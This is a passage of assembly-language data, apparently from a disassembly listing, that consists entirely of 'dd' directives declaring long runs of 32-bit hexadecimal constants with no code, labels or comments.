		dd 2BC72631h, 9FC809F3h, 4B696E10h, 36DEEB45h, 2F8B41A2h
		dd 939DB62Ah, 0BA657930h, 9B19EFA2h, 3D051EFCh,	0C31B2C3Ch
		dd 503C18FDh, 576CD59Fh, 0DBAA6820h, 8FD937C4h,	88D144E1h
		dd 479F1C9Bh, 0E218A564h, 19D7CEF3h, 3A921C22h,	1A2FCFC8h
		dd 6BA66C4Dh, 3DD2D4FFh, 0CFD2B54Bh, 84D289C7h,	23333686h
		dd 0F8D043C4h, 0CDF56AEEh, 1F09638Fh, 0FFA51CEEh, 36CB4217h
		dd 0AAAB1F8Dh, 1467A72Dh, 2F3D88DCh, 0C8FC384Fh, 0B38C786h
		dd 16B9DB7Ch, 49620C47h, 97A2F109h, 8D788486h, 98A0DCC4h
		dd 6185BB9Dh, 0BBB699ECh, 0C2CE061Ah, 80DB3242h, 75E188B9h
		dd 0F39D28C0h, 27283D65h, 0F70BDE79h, 0A67C6DC2h, 46445603h
		dd 784C13Ch, 8C3629B6h,	29312D6Dh, 894B7C79h, 9F920FC6h
		dd 0D2ABB0F6h, 660B6E43h, 193C05Eh, 9CC31E3Fh, 0FAB21FE5h
		dd 8061068Dh, 79A04695h, 0C1CF48C6h, 89173DFDh,	1610E532h
		dd 1BBD9369h, 0A755C333h, 67CCA035h, 5FE01AF4h,	4CD6BD57h
		dd 8A0C1C48h, 105EB742h, 6D400378h, 0F0EED89Eh,	14837FBh
		dd 36E8C3A1h, 0FAA57AE2h, 0CA9B4594h, 1E0C4F81h, 0B15E0EA2h
		dd 14DD7A3h, 0C10B5185h, 0B7F4F0CBh, 0AB6BF955h, 6D0CEA84h
		dd 0E60E0022h, 8DB45CF1h, 0C6E86642h, 0B0FA6E44h, 4B551C48h
		dd 2243D464h, 15F79CFBh, 0B546A4EAh, 2BC8A3CAh,	41CD5387h
		dd 0E8292DE8h, 181234B3h, 0A206576Ah, 0E1588519h, 56EF03B6h
		dd 85ED05F3h, 1B0C8A92h, 0F96F3798h, 40406660h,	7B313FEDh
		dd 564A6343h, 0FD60C469h, 0DA653A3Ch, 35339455h, 40EAAC9Ch
		dd 0CFEBB704h, 0B08FD642h, 0D0895ED2h, 2D4F029Fh, 9E2C6FDCh
		dd 5B086BF9h, 0B56A4F38h, 0DFE4E349h, 0CEAE157h, 0E1A2AD03h
		dd 70954066h, 55EF19F3h, 0C7A793A9h, 7792AEFh, 2AB0FE0Dh
		dd 4524BA3Ah, 0A183C93Fh, 0C9B79F41h, 0A1821CE8h, 59C12358h
		dd 280D57B9h, 79F29B4Ch, 0F2B0DEFCh, 57987493h,	324EFF2Eh
		dd 627AFE17h, 86B7AD84h, 7B419436h, 5511825h, 5F79832Dh
		dd 2C028A2Ch, 84FB6C0Bh, 5B9E2E72h, 948AF7F0h, 6EE29B00h
		dd 0D20686FDh, 497446Bh, 259D4BB1h, 75E8ABD6h, 494A4A18h
		dd 3EB61094h, 53AC70C4h, 411C2D2Eh, 1184EF69h, 7F8F79D4h
		dd 79A83A1Dh, 0BC842Dh,	0E6066F67h, 916ECBF9h, 0DAB201Dh
		dd 0F3E595B1h, 0C0A5986Ch, 9E495A74h, 0D9286CCFh, 0DC6E11DFh
		dd 6EC7133h, 0D7BB57D7h, 2D725694h, 58127927h, 9EC443BFh
		dd 0DF2AB608h, 1D6A4D94h, 3ABC29E9h, 1442B4A8h,	0D9E811C0h
		dd 0C8F1D619h, 71EE52B7h, 42E3F2D3h, 6CE68ABh, 896CBA5Dh
		dd 2556A47h, 5FB345DFh,	58AFD389h, 12E011DFh, 0DA1A826Ah
		dd 0A20C77A9h, 0F8BA6D8Dh, 0F9678058h, 92E85E41h, 7BFB37E7h
		dd 0D163EF14h, 8E7D97ADh, 706CFA69h, 0E8A7D22Ah, 38592111h
		dd 0CFC43C8Ah, 0B14AE5EFh, 68AA127h, 907A993Eh,	0AEE4FC71h
		dd 38DBB33Ah, 4B594BD8h, 0F3A8311h, 6AC70C09h, 808DDACDh
		dd 92DDDD70h, 4FA62BEFh, 9BEFC7F6h, 0DAC400C9h,	2027A66Dh
		dd 39EB69B7h, 52E38449h, 251AF3Ah, 0B36C1A77h, 0CDBB1100h
		dd 156477ADh, 0D869C060h, 7B18C8AAh, 8210B008h,	0C3A1E619h
		dd 63D0A6F0h, 106E2D8Fh, 0B9119CCAh, 0B61047BAh, 7D9445CDh
		dd 1554C7ECh, 642AB137h
		dd 0FCDACF61h, 6FCF104Ch, 995C4C45h, 0F912E2E9h, 2C57243Ah
		dd 56D74974h, 0B51A45C3h, 4FBE5D80h, 0CA27BF95h, 36C10120h
		dd 0CE94AC3Eh, 1599E039h, 0E8688172h, 0B0C5F8C0h, 81A9707Ch
		dd 75D2837Dh, 5947A5F6h, 55278F48h, 0B77BEBA5h,	36D37842h
		dd 7501CDA7h, 0CB576731h, 0D7395A32h, 0A65FA3E3h, 780050AFh
		dd 96D90A4Fh, 0C2C8197Bh, 1E785732h, 0E8C8FD88h, 32252B91h
		dd 0CA41E59Dh, 0CEAE8105h, 0A6242D1Ch, 87F2FD3Fh, 6CE1965Dh
		dd 8F56679h, 2790ECDBh,	2DF8293Dh, 0C24D5C0Fh, 0CC68AECFh
		dd 2224116Eh, 4E99C752h, 526A2EDDh, 9E9A5310h, 0AA3CEF5Dh
		dd 4E9E3488h, 121E571Dh, 3A5736BFh, 0B9AAB71Dh,	2D40ABF5h
		dd 0C9D02EE9h, 0A6A07475h, 9EAE7207h, 0E031D3B9h, 8D1266BDh
		dd 0B8C8D389h, 0E5EFFF2Ah, 0AE527C19h, 7727358Ch, 0F9A8DE77h
		dd 0E080A925h, 0EE458DCh, 0E7D20A66h, 4AC65F1Eh, 409F08DBh
		dd 433B03E7h, 0E0343659h, 0F26E8751h, 572E7BCDh, 9E9F918Bh
		dd 0E942FF29h, 0DFF7C659h, 55CB68A1h, 37B53DEh,	2A0AF937h
		dd 0CD18AC6Ah, 0B449E58Eh, 684E547h, 559142D3h,	0AFA21660h
		dd 0B806CCB1h, 2DBDE807h, 318ED605h, 0E35F29FBh, 37F41121h
		dd 82F51642h, 6362BB93h, 0C762D9CCh, 4EEA95D7h,	0B0D2A8CDh
		dd 0F4F077BCh, 831D9D13h, 2013EAFh, 15E1E871h, 65068126h
		dd 0D1766CEh, 6E9027A9h, 5307C6A8h, 969F9C5Ah, 0A66B2500h
		dd 0D2549FC3h, 3C03C53Bh, 16A013B2h, 2C5F6A82h,	35B2AF62h
		dd 368970A3h, 324ADACCh, 7508E9F1h, 0C87E4CAFh,	2B96729h
		dd 0C49E1C7h, 39F83518h, 0DFAF7BFCh, 0D4234B01h, 387A7AEh
		dd 0EABFC679h, 36082B1Ah, 0D8FF083Ah, 0DAA5DB2Bh, 0C767F724h
		dd 10175FBAh, 0AE2FCCE5h, 4FC3E7B4h, 265414EAh,	85A66AA2h
		dd 4AFC773h, 0EF5024F5h, 0C3A3D99Ch, 0C6F213D9h, 7D6D931Dh
		dd 9AA1AB99h, 0CD924282h, 92E3486Ah, 8F4E1C6Ch,	6FA2F96Ch
		dd 8B232C17h, 2E7F49D9h, 895E6E9Dh, 0FB1B21C5h,	31452E3Dh
		dd 2B712C6Dh, 65070959h, 0AAC0200Dh, 80DE5CEFh,	531A9h
		dd 1BBF1FC2h, 3A7D5E7Fh, 0C406D076h, 8D5DA591h,	343CC1CBh
		dd 0ABCAD353h, 3091F1E8h, 0E07589E8h, 400B90AEh, 3206D2D6h
		dd 7FE95828h, 5E21764Bh, 3FFA398Eh, 259D20h, 0D75A2D3Fh
		dd 924BC4E3h, 0A7397949h, 0BD3FDA96h, 0DB739A32h, 6EF0F261h
		dd 8AC63111h, 2DAF8032h, 6D98A7A8h, 9EDC2133h, 0CC07CCCFh
		dd 0C2A30B31h, 0B8A61D0Bh, 4FC3DFF3h, 5B37907Ah, 0BA024676h
		dd 0EF1C3946h, 2CF0F99Bh, 1B7A13CAh, 5E8A31Fh, 6749AF07h
		dd 8EAFD4FEh, 8EFCA253h, 0A099F34Eh, 93949334h,	0CDA9D9B2h
		dd 43BFBE5Ah, 0F672CACDh, 0CEEC76A1h, 0F8FB2A3Dh, 4A9F7FDFh
		dd 0E12242BBh, 0A133371h, 89EA1A91h, 83C1B412h,	0F722B615h
		dd 0A88EAD58h, 9ED1BFAEh, 1397DC99h, 9401F604h,	46285E24h
		dd 1DF50211h, 0D302C7BEh, 0F2DC603Bh, 0C9AA2Ch,	0EE3556A8h
		dd 0F89D7719h, 0AE2496D7h, 92EBC059h, 1E3B1842h, 1E85C697h
		dd 988AD4E0h, 0DB098395h, 7ED6194Fh, 81EFDD8Bh,	0F4E9C186h
		dd 79769266h, 8FBA5DC6h, 5938C424h, 50CAEE7Eh, 7D11C32Ah
		dd 6C4825E4h, 5E281620h, 685A1560h, 0E7F211D8h,	0B5B36Fh
		dd 0E5EF3BEh, 66CF6330h, 0BF435A92h, 0CBF55815h, 0E9D12866h
		dd 0C3A0967Eh, 0CECC4716h, 159A490Ah, 1FF48074h, 4934391Bh
		dd 5A11C397h, 18A4FAE7h, 54F4BDE0h, 0E8F2E01Dh,	0D9A8B875h
		dd 6D9A17B9h, 0D6FD33BEh, 0E99C7789h, 0F5E73D81h, 3F5D44A9h
		dd 4DDDAA28h, 365F78E8h, 7E80FAC0h, 0E042E9B4h,	0D956C402h
		dd 0A3D820D7h, 812147CBh, 27A85A58h, 1B8BDF51h,	0D18965FBh
		dd 0AD67C1A3h, 375AF552h, 18B5D434h, 227D1E4Ch,	1F12075Eh
		dd 43865B88h, 608D60AAh, 7839F9FFh, 110C53D2h, 84A02193h
		dd 1EBAA79Eh, 543B49CEh, 5A105B12h, 5B03F693h, 0E0007ADh
		dd 0F5F6A12Dh, 0C5BE4284h, 9171BC3Dh, 65110D1Ah, 0F85FBACCh
		dd 0E11DAFBDh, 0AB5B279Ch, 486A5A5Eh, 0E2344E9Bh, 73AF89BEh
		dd 0EB4122CCh, 1D9C573h, 424C5FB0h, 0DD2A0981h,	0BD1085Bh
		dd 60A13834h, 0A5D2257Ah, 43CE60B6h, 0C9A49DD0h, 1C5943C0h
		dd 708FF3Eh, 8358DAC3h,	0A7B68679h, 0DA330C2Bh,	0B2E1E5FAh
		dd 91386B96h, 6E7F53FDh, 0C0E75A4Dh, 6F46284Fh,	0FC7B5156h
		dd 6CC1197Bh, 41AB3FF1h, 8EF0A372h, 0CEE111B2h,	90B9CAE0h
		dd 3225E507h, 0D5050D61h, 4397EA92h, 168723E2h,	5F25C750h
		dd 0F8C03E91h, 44903CF3h, 0E175B0AEh, 51AFDFAh,	2AD0AAC0h
		dd 0EA63AC3Ch, 6ADF3749h, 0BF1F3145h, 3EA7ACACh, 98E608B0h
		dd 0E974097Ch, 1F3EC381h, 96A0E5Bh, 1CB52819h, 0E887FA64h
		dd 5BEC4958h, 1554AF50h, 0EB50EDAh, 2F9AFA3Dh, 9749EECEh
		dd 171056A0h, 0ACE012D4h, 0C32F8040h, 0AC1ABF82h, 5CEBDCB5h
		dd 4BD3ED23h, 11CA8BD6h, 0CF550BEDh, 9B25FC26h,	78BDC989h
		dd 980D7E6Eh, 0DAF32191h, 595C2E67h, 6EB5EDB7h,	3B102F74h
		dd 3F58FF35h, 0C6D05099h, 0B2EED30h, 4B4935Bh, 0BD88EEEEh
		dd 37C26EC2h, 55533D23h, 773B335h, 55AA51B2h, 0BFC35967h
		dd 984FBB85h, 369B1602h, 0CFE7C36Eh, 0DFCA844Fh, 8E5132A6h
		dd 22B98C1Dh, 0A6F947EEh, 47025B87h, 516713EBh,	9A49A1F4h
		dd 52CFE7E3h, 5F87C412h, 23C7AF5h, 661D9D2Ch, 0C7F9138Ch
		dd 0DFE9A265h, 0BCA0084h, 0FC57CACDh, 0D2CBC689h, 0A141FB77h
		dd 842E3E1Ch, 9CDD04ADh, 0B3880406h, 5A000A15h,	58055F8Eh
		dd 606A12B3h, 1278A05h,	0C9F0DD99h, 0A3A8C307h,	0B9DB11BFh
		dd 689D9A78h, 4CE6EF9h,	0EA87800Ch, 874D06B3h, 63828771h
		dd 4890ECFEh, 0CE4716A9h, 50308BD5h, 0D8A8ACE8h, 76732F20h
		dd 1CA3C072h, 0D458913Bh, 0EDDAD8A3h, 3DE3E081h, 798AEA06h
		dd 5C784F39h, 4C7C4496h, 13466F4Ch, 0CCEC878h, 2EDEB056h
		dd 5ADB0559h, 8C0552B4h, 8DF0C5B2h, 9988470Fh, 7D27062Ah
		dd 7E98DA3Ch, 0F8864B6Ch, 4D4AF424h, 0C8CCA213h, 273B0B5Ah
		dd 8B8B54F0h, 4923DCCAh, 336AC551h, 9AE17FFh, 0E496082Bh
		dd 12519DF0h, 35C2562Fh, 0DE737E78h, 69E6C869h,	5D687287h
		dd 3C39955Bh, 0AC1C61DAh, 82D3D724h, 790BA100h,	860C44DBh
		dd 46603DDAh, 0BE7259E4h, 571E7D42h, 6D0FE39Dh,	1F1B6BADh
		dd 2264B3BAh, 0D67F61Ah, 0B4B86BE1h, 8ACF0280h,	8D57DADDh
		dd 0FA264D60h, 1890935h, 342D6F45h, 5963A71Dh, 0FDA3EBB9h
		dd 6F1040B6h, 0D549A1C7h, 2E38158Eh, 5F6DBFA5h,	46FD6996h
		dd 8B812FBAh, 0EA5660F7h, 8CC32BA8h, 0AEFAD1ACh, 2DEF76BEh
		dd 904DAA21h, 6C7322E9h, 0E2D9605Eh, 2AB02690h,	3C23F238h
		dd 688F4430h, 0A4E5D367h, 0BAAA232Bh, 85A8C860h, 0C5A244EAh
		dd 1CBA4F16h, 0A6B273A2h, 0E7FD56BDh, 388081B4h, 91C140BBh
		dd 2CD57EDAh, 27365C97h, 1418B908h, 16F0D8D3h, 4F7FDA0h
		dd 6D46976Dh, 0E07F6B32h, 1652BBF0h, 0FC97491Ah, 8C094AF1h
		dd 0D5351E1Ch, 72778ED3h, 0D32556EBh, 9F3A9559h, 0C67DEE71h
		dd 2DE10A82h, 1F74BC28h, 946BD1CCh, 0F634DAA0h,	0BB139597h
		dd 606970D2h, 6FEAB304h, 69EC6456h, 53E74D0Dh, 4167C1BFh
		dd 4CDC1AAAh, 9AD60B7Ch, 0AE1DD209h, 681B613Ch,	3508A05Ch
		dd 9C324485h, 7024CBD2h, 0A68B022Ah, 0C49AA10Dh, 0CB536BA6h
		dd 4E544E5Ch, 21178518h, 0A015876Bh, 5C4F5F2Eh,	0E053F08Ch
		dd 0F61B0B1Dh, 5ED3F9F2h
		dd 17B23133h, 0A848D0A6h, 5688BFD4h, 0ECE5C992h, 456CEAABh
		dd 0F37D10F8h, 5BC7E759h, 35F48ABh, 0E1343180h,	8AF143B0h
		dd 0EB177485h, 8F8E9D68h, 226A4FC5h, 401CBCB6h,	7660F6CEh
		dd 0B71E4C09h, 4A306BBAh, 8228340h, 5BB7A621h, 0FCD1642Ch
		dd 0E4B4DE05h, 0BC174785h, 3FB6591Dh, 0BFD4F23Dh, 0EC9DCF3Bh
		dd 0A6A3ED57h, 0A158E4ADh, 0FAD3EAF9h, 101651F2h, 0E35221EEh
		dd 0EAB01EA5h, 0DBE4EE57h, 53A0F9B5h, 16EB9FBh,	0DEB9FCCFh
		dd 97090785h, 84FAEFB4h, 290D65BAh, 6E6A7B1Eh, 0A1F0F7F3h
		dd 4FE4CB13h, 0FE21EA2Fh, 0C4270007h, 0C58A1161h, 0CBBF3EAEh
		dd 0A0F19C88h, 0A4715B37h, 498AF767h, 0AFA460E1h, 0E0DA9473h
		dd 6E6E352Bh, 0DDD818D8h, 0E3EF5786h, 0B42B42Bh, 0AD54E3A4h
		dd 6533A487h, 0E66E516Dh, 7A4FF716h, 0C771DC5h,	4E9E31E9h
		dd 0C1B2EB90h, 0CB231868h, 77094A10h, 48FEAC14h, 9C5AC9D5h
		dd 74A28AF6h, 54986A65h, 93B12C9Ch, 0C9BBB519h,	98D3F082h
		dd 32BBC4B5h, 80DF3AFh,	0E48700D6h, 0C10CCA84h,	4129A6F4h
		dd 902F1A37h, 5D74449Ah, 0A06FBCD2h, 0D05E72Dh,	0CBE2C89Ah
		dd 0BFC54541h, 0BABC74D6h, 6313E5B1h, 0AF90CA13h, 0FC78FC4Ah
		dd 78121687h, 0DD02B1C9h, 7D02D06Bh, 2066F50Bh,	0B11F8EA8h
		dd 0A690D44Eh, 0C51BEFA0h, 96508DB1h, 5C9B3195h, 0B9C28A16h
		dd 34637766h, 41CA9D9Ch, 0F2ECAA29h, 77020E99h,	7B57E20Ch
		dd 4B92AF5Bh, 32CB464Dh, 0A5AA36A0h, 7B434259h,	1B373C0Eh
		dd 568F7D1Ch, 6D0A784Dh, 3DFCD50Fh, 0A4583209h,	0D333ADDCh
		dd 7A4D993h, 2D923856h,	15891D30h, 6D9BB0Bh, 0D4957E3Eh
		dd 0F96CE99h, 5DD831ADh, 0E43BDFCBh, 5397EBC1h,	0E660D225h
		dd 7ABEF9DEh, 65925C5Dh, 6684C66Bh, 9A4E7C81h, 97139A6Bh
		dd 0F10418A8h, 396988C4h, 881F845Eh, 0CE8BB8BAh, 89AD9E03h
		dd 630E62D6h, 924718EFh, 43A06CE8h, 130C3F76h, 3F753DAAh
		dd 0C7541A5Fh, 0E7028416h, 0C5C61F3Ah, 12341B1h, 0C917F918h
		dd 91FF9612h, 0E481036Ch, 0A57E7858h, 0B0D8D6E3h, 0C991D1C8h
		dd 0CFCD197Dh, 294448DDh, 0BECF8C7Dh, 0A98788FFh, 878AF26Bh
		dd 0EAB1FAFh, 3CD0F958h, 183FBC01h, 92CE5647h, 0A5EB41FDh
		dd 2ED5722Eh, 0ED654A9Eh, 3964A953h, 0C27A5308h, 6B98B4EFh
		dd 46CEFE80h, 814E9B01h, 343C9084h, 6FBE5308h, 78CD0C6Eh
		dd 1003F47Eh, 6D542F64h, 0C7AC032Eh, 0FC75AC8Bh, 566F763Ah
		dd 69A90362h, 8D18963Ah, 3712E2AFh, 0B41EBB23h,	31F77528h
		dd 0A38AEFFCh, 47DBF87Ah, 0DC2881B9h, 38CB58C0h, 0A55E03CCh
		dd 342BB99h, 0B22450B0h, 0B9ECC6C9h, 0C2BE0F72h, 0B3ADA185h
		dd 67D8841h, 0AE82E8BBh, 0D885ED1h, 0A883E2F6h,	0CA601255h
		dd 0ED698499h, 392B058Dh, 872EBE0h, 57EB51AFh, 5DD0474Ch
		dd 282D884Eh, 4CC9D35h,	9A00E296h, 2CCF16D9h, 0AEDF1F8Fh
		dd 0C3E1CBD2h, 0C49B90A2h, 0BD54F5ACh, 8F081DFDh, 593BB685h
		dd 75706FF0h, 13E4A4C4h, 0D3429379h, 839699B7h,	0B094DB64h
		dd 55AB58A5h, 674D9E1h,	0C48A9FC2h, 7A92DD04h, 0B22A79h
		dd 0B12C14CBh, 6A8C0661h, 44183B4Ch, 0CBB90E0Eh, 39876D3Fh
		dd 0E9ED94ACh, 0F4875E21h, 4FAE7DEBh, 7D8B8615h, 16710C32h
		dd 0DAD3D8Eh, 7D74BE96h, 9DEC885Bh, 6BD40103h, 818355A5h
		dd 0BA209F37h, 660496B6h, 0DBE9918h, 0DA44073h,	0AFEAA98Bh
		dd 0D5CABEA5h, 23CB90E1h, 17845E75h, 0AFF555AFh, 3A47B157h
		dd 3931C18Fh, 0C96414E5h, 0AF6FF736h, 4D75EEA3h, 2788E0Bh
		dd 0B5AD7394h, 0E0DDF594h, 9D92613Dh, 0F29A4AAAh, 7E3C028h
		dd 506D3625h, 85C9B872h, 78FADAFCh, 0DEEF1027h,	0FD1AF448h
		dd 935C3D66h, 4F7747BBh, 0F5B6E26Ch, 220C86B5h,	4FDABFEh
		dd 4E79D86Bh, 0EF5E9696h, 47E8082Ch, 0FA007346h, 3E33F734h
		dd 3C4DD86h, 444FF7FCh,	0C7EE439Ah, 0F87DFFB0h,	3AB3A644h
		dd 0B6D8DC94h, 17AECE8Dh, 0AA964661h, 1AB2C0CBh, 0E5FEF08Eh
		dd 0BF0BD9E5h, 0BCDAEA9h, 0A2BAF17Ch, 77509F0Ch, 788F6A2Ch
		dd 0EE76E29Eh, 10519231h, 4E27C514h, 93AD23D3h,	0A56D4E4Bh
		dd 262E191Bh, 4F175238h, 0FD392F53h, 685FB3F2h,	0B262E1E5h
		dd 36B02CCDh, 0E1D19DD3h, 496D4330h, 6351F449h,	3624B4Dh
		dd 7EAC3039h, 3171C7C3h, 0BF77BB43h, 0FA479C46h, 79F444FFh
		dd 1E81B5C9h, 0E38F87E4h, 0ADE4EA90h, 0AD4CFC4Ch, 8CEA6EE5h
		dd 9BCDEDD4h, 1908CE2Bh, 0CDA8765Ah, 3E625245h,	7560F601h
		dd 48ED63ECh, 8C82A977h, 6412C15Bh, 55ACDDD5h, 8BBA7BA7h
		dd 9B2B58E4h, 0D9CEDA1h, 258A860Ah, 8B2D7F42h, 61154436h
		dd 0C64A2100h, 0B76651AAh, 779F9F49h, 21295DEBh, 9B7FA2D5h
		dd 0B9F1C95Bh, 0FA21EEB7h, 3D837F48h, 0DF031298h, 9670D675h
		dd 0D177B5D1h, 0FA3B14D8h, 0A02BA74Fh, 8A190D82h, 0ADAC6F19h
		dd 44ADF42Eh, 0B1F6F50h, 7EAA1D19h, 0B20F05DCh,	77738935h
		dd 0DED98AF7h, 0F6225167h, 0F4540F86h, 80B12809h, 8D85A972h
		dd 0AAABA124h, 0F2CE5689h, 41C87388h, 0B17AD9D0h, 0BA66EB4Bh
		dd 3AD2C47Ch, 0E9828D8Dh, 0CA532DD9h, 65822FC0h, 2B4A6BE8h
		dd 0C9DB7151h, 86143A2Bh, 0E4D457EDh, 49C762ADh, 9EBB1A1h
		dd 115217Bh, 5C511820h,	3B6434Bh, 7780106Fh, 0B6C0A89Dh
		dd 2C588589h, 0BD6DF65h, 0B49E9F8Ah, 0CA108D66h, 2357948Ah
		dd 5E0001B3h, 77A081Eh,	47B2D44Eh, 0AA35C1E6h, 4226017Bh
		dd 0D6001D99h, 3AD899C1h, 7B7A5C18h, 0FC8CB27Eh, 178964D2h
		dd 6C0D8246h, 0D4615E94h, 89B2868Eh, 429B812Fh,	0EB973E43h
		dd 7FFDC909h, 4AB19A23h, 7706F901h, 9A0E9D4Ch, 0E18D6F93h
		dd 1BB94A7h, 0BE13623h,	8F1DFE77h, 0C507A695h, 0FD4FB3BDh
		dd 0C48AE09Ah, 7BEA52C3h, 68802EDFh, 365BCC3Dh,	0DB9EF43Ah
		dd 858982B0h, 0AD7C1898h, 610AF07Bh, 0DB859010h, 3F2C6C1Eh
		dd 0EBFCD427h, 4BC71B06h, 93F86D9Dh, 0D00EC11Eh, 71C547DBh
		dd 3759D9C1h, 0FAA7516Bh, 0DB202A68h, 0AFE0B1D7h, 91212511h
		dd 69B9B770h, 8061E21Dh, 0AE0CE6DEh, 747EC4Ah, 2C57E576h
		dd 46772255h, 6CFA93ADh, 8856CAE7h, 0CD3B2637h,	0BC2A8B52h
		dd 0C7C5746Bh, 0E53336B9h, 0A9DC1D16h, 2BB7FA58h, 15757D3h
		dd 89B41BCh, 0EB662D31h, 28D33F3Fh, 5BA5A736h, 0D0588519h
		dd 0FE38D2D2h, 37661585h, 597E567Bh, 1C982E2Eh,	0B8DB1475h
		dd 0CA14EA96h, 7D495436h, 9503B3F6h, 99FF1F48h,	0A6D25FE6h
		dd 0D0DC137Ch, 0C25FDCBAh, 6FFD123Eh, 9D6FBE2Eh, 0DC4EA2BAh
		dd 6A19D49Dh, 0E1DCC853h, 99E446DAh, 0BA90ADDBh, 5E9B8143h
		dd 0A8E064CEh, 0C5F8AB84h, 4B9CDA60h, 0D6C16964h, 35C45365h
		dd 0F8C971CDh, 619FF3Ah, 0A64B5F58h, 0B36476F5h, 195FD89Dh
		dd 2747B386h, 38FDD9A0h, 8227028Ch, 0CB729286h,	0F4EE65CDh
		dd 6E5D59CAh, 1B3ABD5Bh, 0E4231191h, 0E1B5ACAEh, 88D28A36h
		dd 67A09C3Dh, 0B85DCA64h, 0BB1EF25Ah, 0B34FDA85h, 8C2362D7h
		dd 0E52E1230h, 0B297CB00h, 0E8ADE145h, 0A35C93F9h, 5E9C50B7h
		dd 278F3EFEh, 0D99CEAA1h, 56BEC2A4h, 3691421Dh,	0A70F1203h
		dd 0F331FF14h, 0F5F75F4Bh, 0A620CAA2h, 0DDC0E794h, 0DF7DB77Bh
		dd 3B58302Ah, 0E7BD79B1h, 48BDF4D9h, 0FDA58CD1h, 0E88AC886h
		dd 61E0E9FCh, 2355C58Ch, 0C1FE45B1h, 95C1C6CCh,	0DEC0AAACh
		dd 0E98B1958h, 0C7BEE9A0h, 420E620Bh, 1766AAFh,	483F02h
		dd 0F4A0DEE7h, 0F24F24F2h
		dd 86EEBBC5h, 0DA3F0BC3h, 1340718h, 75863A9Ch, 43AE9A61h
		dd 2E99AD1h, 0FF5C74B3h, 484FEC12h, 0A572A108h,	0FC56D36Eh
		dd 30E56F19h, 3675CB0h,	5CB630h, 0A35FB13h, 36A68095h
		dd 2859EBCFh, 2BAB7D72h, 76202F9Dh, 0A215C953h,	0C26C3CBCh
		dd 82AEE63h, 0B8AF5A27h, 0BCDB35D5h, 0EDA24952h, 3797B9F0h
		dd 0C56B516Bh, 5D1FF5B8h, 450E8395h, 51EA2ACAh,	4D41921h
		dd 41E1BC52h, 5814F467h, 9F9882E2h, 3C6F1930h, 4BB4AD17h
		dd 7533141Eh, 5DCF2B10h, 77C0B0ADh, 231F2608h, 91F67B73h
		dd 82CF2245h, 0D4E6E76Ch, 0BA6AAD0Dh, 30A63032h, 1534CF9Dh
		dd 0CAD93D52h, 808E41FBh, 0F8748609h, 89C91191h, 7BB6EB25h
		dd 7F8F5B2Bh, 21F2B368h, 0A4887C98h, 59B236D8h,	0B41C16D1h
		dd 2A96340Dh, 37793CECh, 884A9DA9h, 0AE65BBBAh,	43E6D08Ah
		dd 29B43DE9h, 68F86787h, 28601063h, 6B27B960h, 4233B477h
		dd 919D940h, 0F01469C5h, 0D845F2EEh, 0F6862200h, 93FA87Ch
		dd 0B7EC6F49h, 270DFD5Ch, 0BE85A518h, 50999E5Ch, 0A9A2Eh
		dd 62EF5C6Eh, 0EAFDE4F1h, 0AE71EE12h, 7FDBEF40h, 710C3C9Dh
		dd 61709BC2h, 0CE001930h, 0DEF984ACh, 51038859h, 955A9931h
		dd 0D64EF339h, 7DB15DC1h, 0A43F3AD1h, 0D0419F37h, 88F293FBh
		dd 4AE38D43h, 1238B9D3h, 0EF94A51Dh, 28E13F3Fh,	75BE98C7h
		dd 78B3BA51h, 0E781A4CBh, 1DACAA56h, 5B65CF9Ah,	13654C61h
		dd 5FF117D7h, 273E23CBh, 7C53468Dh, 0BEF67687h,	4631F13Ah
		dd 4A86D176h, 0E68AAEC2h, 47CD1DEBh, 9ED19D37h,	0BB46E11Ch
		dd 0CA7DA541h, 31CF9498h, 14745A6Ah, 22704D3Ah,	6C38D53Ch
		dd 0F50843B3h, 9A4DD3C8h, 8E75D427h, 614BB003h,	0A68ECD48h
		dd 2644D131h, 0F788452Ah, 54A6DB9Eh, 8DCD2829h,	7D9145E7h
		dd 0E3D71BC7h, 0C325D6ACh, 0EF12309Bh, 5B74B7DBh, 9B70C0Fh
		dd 0C777C238h, 11AE3A95h, 5CBE1F00h, 7A638EF6h,	25B3AE8Ah
		dd 107ECDA5h, 2DAA9F0Dh, 6715AC2Ch, 69BB5824h, 0D8A2CE63h
		dd 37909A82h, 7A275CB6h, 536236B8h, 0BD20FDEDh,	0CCBD130Dh
		dd 0F308D4FDh, 283351CCh, 884DCE6Ch, 8EEC97C3h,	0E204703Ah
		dd 55BD880h, 6AE1DF6h, 72E4380h, 0FD141C0Fh, 1B75E938h
		dd 0AF425A77h, 67E3C281h, 5A7156F6h, 460571B2h,	0AC49B716h
		dd 0B7A49418h, 0B96D76D8h, 44D10444h, 51340462h, 99DE1EC8h
		dd 0E85BFC45h, 7748146Bh, 580B8BBBh, 9B657FECh,	5056C2C0h
		dd 3AD368F0h, 50A25443h, 0CEA035FBh, 0AA64EC52h, 0C16D175h
		dd 0F881AD0Ch, 0CE41C389h, 344A9E02h, 0D2CC7A29h, 9088C343h
		dd 8ED8239h, 0CF30FADBh, 0D5A14932h, 8F72BC12h,	0DB02855Bh
		dd 16FBD375h, 0BB12EA2Fh, 0B9483323h, 61332A1Bh, 459791FFh
		dd 0ABC07DEFh, 1AAED6B3h, 9723D07Eh, 539AF458h,	0F6A6CD8Ah
		dd 0B30AB159h, 1450EB29h, 7CC4012Ah, 911B53CAh,	0FDD3E55Ah
		dd 8D87D0CFh, 0B906B194h, 504F105Eh, 7E4D7AA2h,	0A07F0C89h
		dd 8AAE2413h, 654051A3h, 1D5F8680h, 731D765Ah, 0BD23DE09h
		dd 54AE46C9h, 0DD36432Fh, 0F9E93D0Ch, 0BD15F99Ah, 66A48758h
		dd 0C64C228h, 0DBD1C9FEh, 4CAAE6F3h, 4E0E2409h,	0E1504434h
		dd 0CC397D72h, 3781B2A5h, 706A9D7Ah, 7E93AC7Eh,	4FDA42D7h
		dd 46E96DB8h, 14D98F4Ah, 1A2DBD53h, 8FA34352h, 3D2AAD66h
		dd 8E63A4AAh, 6DA746E3h, 0CBF6D6D0h, 2342DA29h,	0F529A0C1h
		dd 5DD369C4h, 9FE85FE4h, 0F9F35458h, 0ABDDE7EAh, 0CFF8F489h
		dd 0D5E139D6h, 42003CF4h, 9CEA54BEh, 0CDEDC969h, 8D7AEB1Fh
		dd 0DA38F3ABh, 0A1626ECBh, 7A3EC765h, 22215964h, 1839460h
		dd 1F2454CEh, 7098F34Fh, 5E5805D5h, 0B7790A51h,	0B63C669Bh
		dd 66DB923Fh, 3D37FDD7h, 28EDA471h, 7113C5A6h, 54AEBA56h
